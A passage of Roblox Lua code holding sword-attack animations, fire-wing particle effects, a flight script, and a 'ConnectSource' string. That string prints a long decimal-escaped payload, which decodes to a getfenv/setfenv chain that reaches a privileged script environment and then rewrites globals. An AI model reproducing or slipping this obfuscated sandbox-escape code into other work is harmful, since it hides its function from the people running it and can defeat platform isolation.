- RW.C0 = CFrame.new(1+0.5*i,0.5+1*i,-0.5+0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(80+55*i), math.rad(45-45*i), math.rad(-45+45*i))
- RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0))
- LW.C0 = CFrame.new(-1+1*i,0.5+1*i,-0.5-0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(80-80*i),math.rad(-45+45*i),math.rad(45+65*i))
- w1.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0,0)
- w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(180*i), math.rad(90)) * CFrame.new(0, 0, 0.2)
- end
- cs(Head,1.5)
- local tempmod = Instance.new("Model",swordholder)
- for l = 1 , 20 do
- local meshz = Instance.new("SpecialMesh")
- meshz.Scale = Vector3.new(0.5,0.5,0.5)
- meshz.MeshType = "Sphere"
- local shellz = Instance.new("Part")
- meshz.Parent = shellz
- shellz.Anchored = false
- shellz.formFactor = 0
- shellz.Size = Vector3.new(1,1,1)
- shellz.CFrame = hitbox.CFrame * CFrame.new(math.random(-5,5),math.random(-5,5),math.random(-5,5))
- shellz.Parent = tempmod
- shellz.Transparency = 0.5
- shellz.BrickColor = BrickColor.new("Really red")
- shellz.CanCollide = false
- shellz.Reflectance = 0
- local bv = Instance.new("BodyPosition")
- bv.Parent = shellz
- bv.maxForce = Vector3.new(200000,200000,200000)
- bv.position = shellz.Position
- coroutine.resume(coroutine.create(function()
- for i = 0 , 1 , 0.025 do
- wait()
- shellz.Transparency = 1-1*i
- end
- shellz.Transparency = 0
- end))
- coroutine.resume(coroutine.create(function()
- wait(0.05)
- bv.position = hitbox.Position
- for i = 1 , 20 do
- wait(0.1)
- bv.position = shell.Position
- end
- shellz.Parent = nil
- end))
- wait(0.01)
- end
- coroutine.resume(coroutine.create(function ()
- wait(0.25)
- tempmod.Parent = nil
- end))
- for i = 0 , 1 , 0.2 do
- wait()
- RW.C0 = CFrame.new(1.5,1.5-1*i,0) * CFrame.fromEulerAnglesXYZ(math.rad(135-45*i), math.rad(0), math.rad(0))
- RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0))
- LW.C0 = CFrame.new(0,1.5-1*i,-1) * CFrame.fromEulerAnglesXYZ(math.rad(0),math.rad(0),math.rad(110-45*i))
- w1.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0,0)
- w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(180), math.rad(90)) * CFrame.new(0, 0, 0.2)
- end
- bs(Head,0.75)
- attackr()
- for zz = 1 , 1 do
- local mesh = Instance.new("SpecialMesh")
- mesh.MeshType = "FileMesh"
- mesh.MeshId = "http://www.roblox.com/asset/?id=20329976"
- mesh.Scale = Vector3.new(10,5,10) * Vector3.new(0.01,0.01,0.01)
- local shell = Instance.new("Part")
- mesh.Parent = shell
- shell.Anchored = true
- shell.formFactor = 1
- shell.Size = Vector3.new(1,1,1)
- shell.CFrame = Torso.CFrame * CFrame.new(0,-1.5,0)
- shell.Parent = swordholder
- shell.Transparency = 0
- shell.BrickColor = BrickColor.new("Really red")
- shell.CanCollide = false
- coroutine.resume(coroutine.create(function()
- for i = 0 , 1 , 0.075 do
- wait()
- mesh.Scale = Vector3.new(20,5,20) * Vector3.new(i,1,i)
- shell.Transparency = 1*i
- end
- shell.Transparency = 1
- shell.Parent = nil
- end))
- end
- for zz = 1 , 1 do
- local mesh = Instance.new("SpecialMesh")
- mesh.MeshType = "FileMesh"
- mesh.MeshId = "http://www.roblox.com/asset/?id=20329976"
- mesh.Scale = Vector3.new(10,20,10) * Vector3.new(0.01,0.01,0.01)
- local shell = Instance.new("Part")
- mesh.Parent = shell
- shell.Anchored = true
- shell.formFactor = 1
- shell.Size = Vector3.new(1,1,1)
- shell.CFrame = Torso.CFrame * CFrame.new(0,1,0)
- shell.Parent = swordholder
- shell.Transparency = 0
- shell.BrickColor = BrickColor.new("Really red")
- shell.CanCollide = false
- coroutine.resume(coroutine.create(function()
- for i = 0 , 1 , 0.05 do
- wait()
- mesh.Scale = Vector3.new(10,20,10) * Vector3.new(i,1,i)
- shell.Transparency = 1*i
- end
- shell.Transparency = 1
- shell.Parent = nil
- end))
- end
- for zz = 1 , 3 do
- local mesh = Instance.new("SpecialMesh")
- mesh.MeshType = "Sphere"
- mesh.Scale = Vector3.new(5*zz,5*zz,5*zz) * Vector3.new(0.01,0.01,0.01)
- local shell = Instance.new("Part")
- mesh.Parent = shell
- shell.Anchored = true
- shell.formFactor = 3
- shell.Size = Vector3.new(1,1,1)
- shell.CFrame = Torso.CFrame * CFrame.new(0,-1,0)
- shell.Parent = swordholder
- shell.Transparency = 0
- if math.fmod(zz,2) == 1 then
- shell.BrickColor = BrickColor.new("Bright orange")
- elseif math.fmod(zz,2) == 0.5 then
- shell.BrickColor = BrickColor.new("Bright red")
- else
- shell.BrickColor = BrickColor.new("Bright yellow")
- end
- shell.CanCollide = false
- coroutine.resume(coroutine.create(function()
- for i = 0 , 1 , 0.025 do
- wait()
- mesh.Scale = Vector3.new(10*zz,10*zz,10*zz) * Vector3.new(i,i,i)
- shell.Transparency = 1*i
- end
- shell.Transparency = 1
- shell.Parent = nil
- end))
- end
- for ii,z in pairs(modemodel:GetChildren()) do
- z.Parent = nil
- end
- local wing1m = Instance.new("BlockMesh")
- wing1m.Scale = Vector3.new(1,1,1)
- local wing1p = Instance.new("Part")
- wing1p.formFactor = 3
- wing1p.CanCollide = false
- wing1p.Name = "FlameWingP1"
- wing1p.Locked = true
- wing1p.Size = Vector3.new(0.2,0.2,0.2)
- wing1p.Parent = modemodel
- wing1m.Parent = wing1p
- wing1p.BrickColor = BrickColor.new("Bright red")
- wing1p.Transparency = 1
- local wing1w = Instance.new("Weld")
- wing1w.Parent = wing1p
- wing1w.Part0 = wing1p
- wing1w.Part1 = Torso
- wing1w.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0 , 0)
- wing1w.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0), 0,math.rad(0)) * CFrame.new(-1, 0, 0)
- local wing2m = Instance.new("BlockMesh")
- wing2m.Scale = Vector3.new(1,1,1)
- local wing2p = Instance.new("Part")
- wing2p.formFactor = 3
- wing2p.CanCollide = false
- wing2p.Name = "FlameWingP2"
- wing2p.Locked = true
- wing2p.Size = Vector3.new(0.2,0.2,0.2)
- wing2p.Parent = modemodel
- wing2m.Parent = wing2p
- wing2p.BrickColor = BrickColor.new("Bright red")
- wing2p.Transparency = 1
- local wing2w = Instance.new("Weld")
- wing2w.Parent = wing2p
- wing2w.Part0 = wing2p
- wing2w.Part1 = Torso
- wing2w.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0 , 0)
- wing2w.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0), 0,math.rad(0)) * CFrame.new(1, 0, 0)
- coroutine.resume(coroutine.create(function()
- for ringi = math.rad(-20) , math.rad(130) , math.rad(10) do
- wait(0.1)
- local ringm = Instance.new("BlockMesh")
- ringm.Scale = Vector3.new(1,1,1)
- local ringp = Instance.new("Part")
- ringp.formFactor = 3
- ringp.CanCollide = false
- ringp.Name = "FlameWing"..ringi
- ringp.Locked = true
- ringp.Size = Vector3.new(0.2,2,0.8)
- ringp.Parent = modemodel
- ringm.Parent = ringp
- ringp.BrickColor = BrickColor.new("Bright red")
- ringp.Reflectance = 0.1
- ringp.Transparency = 1
- local ringw = Instance.new("Weld")
- ringw.Parent = ringp
- ringw.Part0 = ringp
- ringw.Part1 = wing1p
- ringw.C1 = CFrame.fromEulerAnglesXYZ(ringi, 0, 0) * CFrame.new(0, ringp.Size.y/4 , 0)
- ringw.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0), 0,math.rad(45)) * CFrame.new(0, -1, 0) --* CFrame.new(-0.6, 0, 0) ---msh5.Scale.x/1.625
- coroutine.resume(coroutine.create(function()
- for i = 0 , 1 , 0.025 do
- wait()
- ringp.Transparency = 1-1*i
- end
- ringp.Transparency = 0
- end))
- end end))
- coroutine.resume(coroutine.create(function()
- for ringi = math.rad(-20) , math.rad(130) , math.rad(10) do
- wait(0.1)
- local ringm = Instance.new("BlockMesh")
- ringm.Scale = Vector3.new(1,1,1)
- local ringp = Instance.new("Part")
- ringp.formFactor = 3
- ringp.CanCollide = false
- ringp.Name = "FlameWing2_"..ringi
- ringp.Locked = true
- ringp.Size = Vector3.new(0.2,2,0.8)
- ringp.Parent = modemodel
- ringm.Parent = ringp
- ringp.BrickColor = BrickColor.new("Bright red")
- ringp.Reflectance = 0.1
- ringp.Transparency = 1
- local ringw = Instance.new("Weld")
- ringw.Parent = ringp
- ringw.Part0 = ringp
- ringw.Part1 = wing2p
- ringw.C1 = CFrame.fromEulerAnglesXYZ(ringi+math.rad(0), 0, 0) * CFrame.new(-0, ringp.Size.y/4 , 0)
- ringw.C0 = CFrame.fromEulerAnglesXYZ(0, 0,math.rad(-45)) * CFrame.new(-0, -1, 0)
- coroutine.resume(coroutine.create(function()
- for i = 0 , 1 , 0.025 do
- wait()
- ringp.Transparency = 1-1*i
- end
- ringp.Transparency = 0
- end))
- end end))
- local wingp1m = Instance.new("SpecialMesh")
- wingp1m.Scale = Vector3.new(1,1,1)
- wingp1m.MeshType = "Sphere"
- local wingp1p = Instance.new("Part")
- wingp1p.formFactor = 3
- wingp1p.CanCollide = false
- wingp1p.Name = "FlameOrb"
- wingp1p.Locked = true
- wingp1p.Size = Vector3.new(1,1,1)
- wingp1p.Parent = modemodel
- wingp1m.Parent = wingp1p
- wingp1p.Reflectance = 0.2
- wingp1p.BrickColor = BrickColor.new("Bright red")
- local wingp1w = Instance.new("Weld")
- wingp1w.Parent = wingp1p
- wingp1w.Part0 = wingp1p
- wingp1w.Part1 = Torso
- wingp1w.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0 , 0)
- wingp1w.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0), 0,math.rad(0)) * CFrame.new(0, -0.5, 0.5)
- coroutine.resume(coroutine.create(function()
- for i = 0 , 1 , 0.025 do
- wait()
- wingp1p.Transparency = 1-1*i
- end
- wingp1p.Transparency = 0
- end))
- local Firee = modemodel
- local Spawn = wingp1p
- local colors = {BrickColor.new("Bright red"),BrickColor.new("Bright yellow"),BrickColor.new("Bright orange")}
- local Embers = {}
- local modelz = Instance.new("Model",Firee)
- modelz.Name = "FireHolder"
- for X = 1, 15 do
- local f = Instance.new("Part")
- f.Parent = nil
- f.BrickColor = colors[math.random(1, # colors)]
- f.Size = Vector3.new(1,1,1)
- f.formFactor = 3
- f.Anchored = true
- f.Locked = true
- f.CanCollide = false
- f.Transparency = 0.5
- f.Name = "Fire"
- f.TopSurface = 0
- f.BottomSurface = 0
- Instance.new("BlockMesh",f)
- table.insert(Embers, f)
- end
- local R = 0
- coroutine.resume(coroutine.create(function ()
- repeat
- wait()
- R = R + 1
- for X = 1, # Embers do
- Embers[X].Parent = modelz
- local FM = math.fmod(R + X, # Embers)
- if FM == 1 then
- RandPos = Vector3.new(math.random(-Spawn.Size.x * 5, Spawn.Size.x * 5) / 10, Spawn.Size.y / 2, math.random(-Spawn.Size.x * 5, Spawn.Size.x * 5) / 10)
- RandDir = Vector3.new(math.random(-100,100), math.random(-100,100), math.random(-100,100))
- Embers[X].CFrame = CFrame.new(Spawn.Position + RandPos, (Spawn.Position * rndm) + RandPos + RandDir)
- Embers[X].Mesh.Scale = Vector3.new(1,1,1)
- else
- Embers[X].CFrame = Embers[X].CFrame + Embers[X].CFrame.lookVector*0.5
- Embers[X].Mesh.Scale = Embers[X].Mesh.Scale - Vector3.new(0.1,0.1,0.1)
- end
- end
- until wingp1p.Parent == nil
- for i = 0 ,1 , 0.1 do
- wait(0.2)
- for X = 1, # Embers do
- Embers[X].Transparency = 0.5+0.5*i
- end
- end
- for X = 1, # Embers do
- Embers[X].Parent = nil
- end
- end))
- for ii = 1 , #AoETrue do
- table.remove(AoETrue,#AoETrue)
- end
- wait(0.25)
- for i = 0 , 1 , 0.1 do
- wait()
- RW.C0 = CFrame.new(1.5,0.5+0.5*i,0) * CFrame.fromEulerAnglesXYZ(math.rad(90+25*i), math.rad(0), math.rad(0))
- RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0))
- LW.C0 = CFrame.new(0,0.5+0.5*i,-1) * CFrame.fromEulerAnglesXYZ(math.rad(0),math.rad(0),math.rad(65+25*i))
- w1.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0,0)
- w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(180), math.rad(90)) * CFrame.new(0, 0, 0.2)
- end
- for i = 0 , 1 , 0.1 do
- wait()
- RW.C0 = CFrame.new(1.5,1-0.5*i,-0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(115-35*i), math.rad(45*i), math.rad(-45*i))
- RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0))
- LW.C0 = CFrame.new(-1*i,1-0.5*i,-1+0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(80*i),math.rad(0),math.rad(90-45*i))
- w1.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0,0)
- w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(180-180*i), math.rad(90)) * CFrame.new(0, 0, 0.2)
- end
- RW.C0 = CFrame.new(1,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80), math.rad(45), math.rad(-45))
- RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0))
- LW.C0 = CFrame.new(-1,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80),math.rad(-45),math.rad(45))
- w1.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0,0)
- w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(0), math.rad(90)) * CFrame.new(0, 0, 0.2)
- attack=false
- wait(1.5)
- mrdychng = false
- end
- function NeutralMode()
- attack=true
- Mode = "None"
- fireboost = 0
- iceboost = 0
- darkboost = 0
- ss(Head,1)
- cs(Head,2)
- mrdychng = true
- for i = 0 , 1 , 0.2 do
- wait()
- RW.C0 = CFrame.new(1+0.5*i,0.5,-0.5+0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(80+10*i), math.rad(45), math.rad(-45+45*i))
- RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(100*i), math.rad(0), math.rad(0))
- LW.C0 = CFrame.new(-1-0.5*i,0.5,-0.5+0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(80+10*i),math.rad(-45),math.rad(45-45*i))
- LW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(100*i), math.rad(0), math.rad(0))
- w1.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0,0)
- w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(70*i), math.rad(90)) * CFrame.new(0, 0, 0.2)
- end
- coroutine.resume(coroutine.create(function()
- for ii,z in pairs(modemodel:GetChildren()) do
- if string.sub(z.Name,0,string.len(z.Name)-1) ~= "FlameWingP" then
- wait()
- coroutine.resume(coroutine.create(function()
- for i = 0 , 1 , 0.1 do
- wait()
- z.Transparency = (1-z.Transparency)*i
- end
- z.Parent = nil
- end))
- end
- end
- wait(0.5)
- for ii,z in pairs(modemodel:GetChildren()) do
- wait()
- z.Parent = nil
- end
- end))
- for i = 0 , 1 , 0.1 do
- wait()
- RW.C0 = CFrame.new(1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(45), math.rad(0))
- RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(100+20*i), math.rad(0), math.rad(0))
- LW.C0 = CFrame.new(-1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(90),math.rad(-45),math.rad(0))
- LW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(100+20*i), math.rad(0), math.rad(0))
- w1.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0,0)
- w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(70+20*i), math.rad(90)) * CFrame.new(0, 0, 0.2)
- end
- wait(0.25)
- for i = 0 , 1 , 0.1 do
- wait()
- RW.C0 = CFrame.new(1.5-0.5*i,0.5,-0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(90-10*i), math.rad(45), math.rad(-45*i))
- RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(120-120*i), math.rad(0), math.rad(0))
- LW.C0 = CFrame.new(-1.5+0.5*i,0.5,-0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(90-10*i),math.rad(-45),math.rad(45*i))
- LW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(120-120*i), math.rad(0), math.rad(0))
- w1.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0,0)
- w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(90-90*i), math.rad(90)) * CFrame.new(0, 0, 0.2)
- end
- RW.C0 = CFrame.new(1,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80), math.rad(45), math.rad(-45))
- RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0))
- LW.C0 = CFrame.new(-1,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80),math.rad(-45),math.rad(45))
- LW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0))
- w1.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0,0)
- w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(0), math.rad(90)) * CFrame.new(0, 0, 0.2)
- attack=false
- wait(0.5)
- mrdychng = false
- end
- function ob1d(mouse)
- hold = true
- if attack == true then return end
- end
- function ob1u(mouse)
- end
- buttonhold = false
- function key(key)
- if attack == true then return end
- if key == "q" then
- if attacktype == 1 then
- Combo1a()
- elseif attacktype == 2 then
- Combo1b()
- elseif attacktype == 3 then
- Combo1c()
- end
- end
- if key == "e" then
- if attacktype == 1 then
- BlizzardSword()
- end
- end
- if key == "r" then
- FlameTrail()
- end
- if key == "t" then
- LifeDrain()
- end
- if Mode == "None" and not mrdychng then
- if key == "z" then
- FireMode()
- end
- elseif not mrdychng then
- if key == "z" or key == "x" or key == "c" then
- NeutralMode()
- end
- end
- end
- function key2(key)
- end
- function s(mouse)
- repeat wait() until not attack
- while ev.Value ~= false do
- wait(0.1)
- end
- MMouse = mouse
- mouse.Button1Down:connect(function() ob1d(mouse) end)
- mouse.Button1Up:connect(function() ob1u(mouse) end)
- mouse.KeyDown:connect(key)
- mouse.KeyUp:connect(key2)
- equipanim()
- ev.Value = true
- end
- function ds(mouse)
- repeat wait() until not attack
- while ev.Value == false do
- wait(0.1)
- end
- hideanim()
- wait(0.1)
- ev.Value = false
- end
- Bin.Selected:connect(s)
- Bin.Deselected:connect(ds)
- ]]
- Fly = [[
- repeat
- wait()
- until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Torso") and
- game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
- local mouse = game.Players.LocalPlayer:GetMouse()
- repeat
- wait()
- until mouse ~= nil
- local plr = game.Players.LocalPlayer
- local torso = plr.Character.Torso
- local flying = false
- local deb = true
- local ctrl = {f = 0, b = 0, l = 0, r = 0}
- local lastctrl = {f = 0, b = 0, l = 0, r = 0}
- local maxspeed = 50
- local speed = 0
- function Fly()
- local bg = Instance.new("BodyGyro", torso)
- bg.P = 9e4
- bg.maxTorque = Vector3.new(9e9, 9e9, 9e9)
- bg.cframe = torso.CFrame
- local bv = Instance.new("BodyVelocity", torso)
- bv.velocity = Vector3.new(0,0,0)
- bv.maxForce = Vector3.new(9e9, 9e9, 9e9)
- repeat
- wait()
- plr.Character.Humanoid.PlatformStand = true
- if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then
- speed = speed+.5+(speed/maxspeed)
- if speed > maxspeed then
- speed = maxspeed
- end
- elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then
- speed = speed-1 if speed < 0 then
- speed = 0
- end
- end
- if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then
- bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame *
- CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
- lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r}
- elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then
- bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame
- * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed else bv.velocity =
- Vector3.new(0,0,0) end bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0)
- until not flying ctrl = {f = 0, b = 0, l = 0, r = 0}
- lastctrl = {f = 0, b = 0, l = 0, r = 0}
- speed = 0
- bg:Destroy()
- bv:Destroy() plr.Character.Humanoid.PlatformStand = false
- end
- mouse.KeyDown:connect(function(key) if key:lower() == "e" then
- if flying then flying = false else flying = true Fly() end elseif key:lower() == "w" then
- ctrl.f = 1
- elseif key:lower() == "s" then ctrl.b = -1 elseif key:lower() == "a" then ctrl.l = -1
- elseif key:lower() == "d" then ctrl.r = 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then ctrl.f = 0 elseif key:lower() ==
- "s" then ctrl.b = 0 elseif key:lower() == "a" then ctrl.l = 0
- elseif key:lower() == "d" then ctrl.r = 0 end end)
- ]]
- ConnectSource = [[
- wait(0.001)
- if script:findFirstChild'source' ~= nil then
- print("\105\102\40\103\97\109\101\46\80\108\97\99\101\73\100\126\61\50\48\50\55\57\55\55\55\41\116\104\101\110\10\9\108\111\99\97\108\32\101\110\118\61\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\97\109\101\46\71\101\116\74\111\98\115\73\110\102\111\41\46\115\101\116\102\101\110\118\41\46\120\112\99\97\108\108\41\46\115\101\116\102\101\110\118\41\46\120\112\99\97\108\108\41\46\115\101\116\102\101\110\118\41\59\10\9\108\111\99\97\108\32\108\111\99\97\108\101\110\118\61\123\10\9\9\119\111\114\107\115\112\97\99\101\61\101\110\118\46\87\111\114\107\115\112\97\99\101\59\10\9\9\87\111\114\107\115\112\97\99\101\61\101\110\118\46\87\111\114\107\115\112\97\99\101\59\10\9\9\115\99\114\105\112\116\61\115\99\114\105\112\116\59\10\9\9\83\99\114\105\112\116\61\115\99\114\105\112\116\59\10\9\9\103\97\109\101\61\101\110\118\46\103\97\109\101\59\10\9\9\71\97\109\101\61\101\110\118\46\103\97\109\101\59\10\9\9\105\110\115\116\97\110\99\101\61\101\110\118\46\73\110\115\116\97\110\99\101\59\10\9\9\73\110\115\116\97\110\99\101\61\101\110\118\46\73\110\115\116\97\110\99\101\59\10\9\9\116\97\98\108\101\61\101\110\118\46\116\97\98\108\101\59\10\9\9\109\97\116\104\61\101\110\118\46\109\97\116\104\59\10\9\9\103\101\116\102\101\110\118\61\101\110\118\46\103\101\116\102\101\110\118\59\10\9\9\115\101\116\102\101\110\118\61\101\110\118\46\115\101\116\102\101\110\118\59\10\9\9\108\111\97\100\115\116\114\105\110\103\61\101\110\118\46\108\111\97\100\115\116\114\105\110\103\59\10\9\9\117\110\112\97\99\107\61\101\110\118\46\117\110\112\97\99\107\59\10\9\9\112\99\97\108\108\61\101\110\118\46\112\99\97\108\108\59\10\9\9\99\111\108\108\101\99\116\103\97\114\98\97\103\101\61\101\110\118\46\99\111\108\108\101\99\116\103\97\114\98\97\103\101\59\10\9\9\100\111\102\105\108\101\61\101\110\118\46\100\111\102\105\108\101\59\10\9\9\101\114\114\111\114\61\101\110\118\46\101\114\114\111\114\59\10\9\9\103\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\103\101\116\109\101\116\97\116\97\98\108\101\59\10\9\9\105\112\97\105\114\115\61\101\110\118\46\105\112\97\105\114\115\59\10\9\9\108\111\97\100\102\105\108\101\61\101\110\118\46\108\111\97\100\102\105\108\101\59\10\9\9\110\101\120\116\61\101\110\118\46\110\101\120\116\59\10\9\9\112\97\105\114\115\61\101\110\118\46\112\97\105\114\115\59\10\9\9\112\114\105\110\116\61\101\110\118\46\112\114\105\110\116\59\10\9\9\114\97\119\101\113\117\97\108\61\101\110\118\46\114\97\119\101\113\117\97\108\59\10\9\9\114\97\119\103\101\116\61\101\110\118\46\114\97\119\103\101\116\59\10\9\9\114\97\119\115\101\116\61\101\110\118\46\114\97\119\115\101\116\59\10\9\9\115\101\108\101\99\116\61\101\110\118\46\115\101\108\101\99\116\59\10\9\9\115\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\115\101\116\109\101\116\97\116\97\98\108\101\59\10\9\9\116\111\110\117\109\98\101\114\61\101\110\118\46\116\111\110\117\109\98\101\114\59\10\9\9\116\111\115\116\114\105\110\103\61\101\110\118\46\116\111\115\116\114\105\110\103\59\10\9\9\116\121\112\101\61\101\110\118\46\116\121\112\101\59\10\9\9\120\112\99\97\108\108\61\101\110\118\46\120\112\99\97\108\108\59\10\9\9\97\115\115\101\114\116\61\101\110\118\46\97\115\115\101\114\116\59\10\9\9\68\101\108\97\121\61\101\110\118\46\68\101\108\97\121\59\10\9\9\100\101\108\97\121\61\101\110\118\46\68\101\108\97\121\59\10\9\9\83\112\97\119\110\61\101\110\118\46\83\112\97\119\110\59\10\9\9\76\111\97\100\76\105\98\114\97\114\121\61\101\110\118\46\76\111\97\100\76\105\98\114\97\114\121\59\10\9\9\112\114\105\110\116\105\100\101\110\116\105\116\121\61\101\110\118\46\112\114\105\110\116\105\100\101\110\116\105\116\121\59\10\9\9\116\105\99\107\61\101\110\118\46\116\105\99\107\59\10\9\9\116\105\109\101\61\101\110\118\46\116\105\109\101\59\10\9\9\86\101\114\115\105\111\110\61\101\110\118\46\86\101\114\115\105\111\110\59\10\9\9\118\101\114\115\105\111\110\61\101\110\118\46\86\101\114\115\105\111\110\59\10\9\9\87\97\105\116\61\101\110\118\46\119\97\105\116\59\10\9\9\119\97\105\116\61\101\110\118\46\119\97\105\116\59\10\9\9\121\112\99\97\108\108\61\101\110\118\46\121\112\99\97\108\108\59\10\9\9\103\99\105\110\102\111\61\101\110\118\46\103\99\105\110\102\111\59\10\9\9\108\111\97\100\61\101\110\118\46\108\111\97\100\59\10\9\9\110\101\119\112\114\111\120\121\61\101\110\118\46\110\101\119\112\114\111\120\121\59\10\9\9\99\111\114\111\117\116\105\110\101\61\101\110\118\46\99\111\114\111\117\116\105\110\101\59\10\9\9\95\71\61\101\110\118\46\95\71\59\10\9\9\95\86\69\82\83\73\79\78\61\101\110\118\46\95\86\69\82\83\73\79\78\59\10\9\125\10\9\10\9\108\111\99\97\108\32\112\99\97\108\108\61\101\110\118\46\112\99\97\108\108\59\10\9\108\111\99\97\108\32\115\101\116\102\101\110\118\61\101\110\118\46\115\101\116\102\101\110\118\59\10\9\108\111\99\97\108\32\103\101\116\102\101\110\118\61\101\110\118\46\103\101\116\102\101\110\118\59\10\9\108\111\99\97\108\32\115\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\115\101\116\109\101\116\97\116\97\98\108\101\59\10\9\108\111\99\97\108\32\103\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\103\101\116\109\101\116\97\116\97\98\108\101\59\10\9\108\111\99\97\108\32\114\97\119\103\101\116\61\101\110\118\46\114\97\119\103\101\116\59\10\9\108\111\99\97\108\32\114\97\119\115\101\116\61\101\110\118\46\114\97\119\115\101\116\59\10\9\108\111\99\97\108\32\101\114\114\111\114\61\101\110\118\46\101\114\114\111\114\59\10\9\108\111\99\97\108\32\115\99\114\105\112\116\61\115\99\114\105\112\116\59\10\9\115\101\116\102\101\110\118\40\48\44\115\101\116\109\101\116\97\116\97\98\108\101\40\108\111\99\97\108\101\110\118\44\123\10\9\9\95\95\109\101\116\97\116\97\98\108\101\61\34\84\104\105\115\32\109\101\116\97\116\97\98\108\101\32\105\115\32\108\111\99\107\101\100\34\59\10\9\9\95\95\105\110\100\101\120\61\102\117\110\99\116\105\111\110\40\115\44\105\110\100\41\10\9\9\9\115\99\114\105\112\116\46\68\105\115\97